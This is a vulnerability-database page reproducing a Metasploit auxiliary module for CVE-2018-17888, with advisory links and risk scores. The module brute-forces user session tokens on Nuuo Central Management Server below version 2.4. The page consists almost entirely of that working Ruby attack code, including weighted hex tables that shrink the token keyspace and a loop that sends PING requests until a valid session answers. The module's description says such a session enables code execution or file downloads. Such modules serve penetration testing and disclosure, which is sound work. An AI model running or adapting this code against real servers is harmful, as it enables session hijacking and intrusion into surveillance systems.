Lucene search
+L

Nuuo Central Management Server User Session Token Bruteforce

🗓️ 21 Jan 2019 10:11:27Reported by Pedro Ribeiro <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 56 Views

Nuuo Central Management Server User Session Token Fla

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
Nuuo Central Management Server Session Bruteforce
12 Oct 201800:00
attackerkb
Circl
CVE-2018-17888
20 Feb 201915:25
circl
CNVD
NUUO CMS Remote Code Execution Vulnerability
16 Oct 201800:00
cnvd
CVE
CVE-2018-17888
12 Oct 201814:00
cve
Cvelist
CVE-2018-17888
12 Oct 201814:00
cvelist
ICS
NUUO CMS (Update A)
11 Oct 201800:00
ics
ICS
NUUO CMS
11 Oct 201800:00
ics
NVD
CVE-2018-17888
12 Oct 201814:29
nvd
OSV
CVE-2018-17888
12 Oct 201814:29
osv
Packet Storm
Nuuo Central Management Server User Session Token Bruteforce
31 Aug 202400:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'benchmark'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::Nuuo
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nuuo Central Management Server User Session Token Bruteforce',
      'Description'    => %q{
        Nuuo Central Management Server below version 2.4 has a flaw where it sends the
        heap address of the user object instead of a real session number when a user logs
        in. This can be used to reduce the keyspace for the session number from 10 million
        to 1.2 million, and with a bit of analysis it can be guessed in less than 500k tries.
        This module does exactly that - it uses a computed occurrence table to try the most common
        combinations up to 1.2 million to try to guess a valid user session.
        This session number can then be used to achieve code execution or download files - see
        the other Nuuo CMS auxiliary and exploit modules.
        Note that for this to work a user has to be logged into the system.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <[email protected]>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2018-17888' ],
          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-18-284-02' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ]

        ],
      'Platform'       => ['win'],
      'DisclosureDate'  => '2018-10-11'))
    deregister_options('SESSION', 'USERNAME', 'PASSWORD')
  end

  # These tables were generated by doing thousands of requests to a NUUO CMS Server and collecting the  responses.
  # Table id: hex-nu-mod

  # 2621440 total combinations for both 1.X and 2.X versions
  # 2.X versions only have 1048576 combinations, and this table will run through them first
  WEIGHTED_ARRAY_7 =
    ['2', '1'],
    ['4', '6', '5', '7', '8', '2', '0', '1', 'f', 'e'],
    ['1', '6', '0', '8', 'd', '7', 'c', 'e', '2', 'b', 'f', '3', '5', '4', 'a', '9'],
    ['d', '6', '4', '5', 'f', '0', '8', '7', 'a', '3', '1', 'b', 'c', 'e', '9', '2'],
    ['3', 'e', 'f', '1', 'c', '5', '9', 'd', '8', '6', '0', '4', 'a', '2', 'b', '7'],
    ['d', '4', '2', 'b', '3', '6', '8', '1', 'a', '7', 'f', 'e', '0', '9', '5', 'c'],
    ['8', '0']

  # 189000 total combinations
  # Only tested (only applies?) to 2.X versions
  # These are only tried if WEIGHTED_ARRAY_7 fails
  WEIGHTED_ARRAY_6 =
    ['9', 'a'],
    ['7', 'c', '6', 'f', 'e', 'a', 'd', '9', '4', '5', '3', '2', 'b', '0', '8'],
    ['7', 'b', '6', 'd', 'a', '3', '4', 'f', '5', '1', '8', 'e', 'c', '2'],
    ['3', '1', 'c', 'f', 'd', '4', 'b', 'a', '6', '2', '5', 'e', '8', '9', '0'],
    ['3', '6', '7', 'b', 'e', '9', '2', 'f', '4', '1', 'c', 'a', '0', 'd', '8'],
    ['0', '8']


  def session_number_list(weighted_array)
    # Let's calculate all the possible combinations
    length = Array.new(weighted_array.length)
    for i in (0..weighted_array.length-1)
      length[i] = weighted_array[i].length
    end
    counter = Array.new(weighted_array.length)
    for i in (0..weighted_array.length-1)
      counter[i] = 0
    end
    total = 1
    for len in length
      total *= len.to_i
    end

    print_status("Generating #{total} session tokens")
    final_list = Array.new

    # code below taken from https://gist.github.com/Yengas/9010715
    (total).times {
      if weighted_array.length == 6
        final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]]
      elsif weighted_array.length == 7
        final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]]
      else
        # assume size == 8
        final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]] + weighted_array[7][counter[7]]
      end

      # Find value of current combination by concatenating corresponding values of counters in the inner-arrays
      # Then we increment the value of the counter so we go on to the next combination.
      for index in (counter.length - 1).downto(0) # From (counter array's length - 1) to 0
        if counter[index] + 1 < length[index] then # If counter index can be incremented
            counter[index] += 1; # Increment the counter index
            break; # Stop the incrementation/go to the next combination printing/incrementing.
        end
        counter[index] = 0; # Assign current counter index to zero and try incrementing the next counter index.
      end
    }

    full_list = Array.new
    final_list.each { |x|
      full_list << x.to_i(16)
    }

    return full_list
  end

  def session_bruteforce_list(weighted_array)
    list = session_number_list(weighted_array)
    for session in list
      req = client.request_ping({
        'method' => 'PING',
        'user_session' => session
      })
      # module fails when shutdown/close lots of connections
      # create own connection and dont call close
      conn = client.connect(temp: true)
      res = client.send_recv(req, conn)

      @counter += 1
      if res && res.status_code == 200
        return session
      end
    end
    return nil
  end

  def run
    connect
    @counter = 0
    print_status('Bruteforcing session - this might take a while, go get some coffee!')
    session = nil
    time = Benchmark.realtime {
      session = session_bruteforce_list(WEIGHTED_ARRAY_7)
      unless session
        print_error('Failed to bruteforce, trying with the less likely numbers as a last resort...')
        session = session_bruteforce_list(WEIGHTED_ARRAY_6)
      end
    }
    unless session
      fail_with(Failure::Unknown, 'Failed to bruteforce user session.')
    else
      print_good("Found valid user session: #{session}")
      print_status("Time taken: #{time} seconds; total tries #{@counter}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2024 20:02Current
7.7High risk
Vulners AI Score7.7
CVSS 27.5
CVSS 39.8
EPSS0.29639
56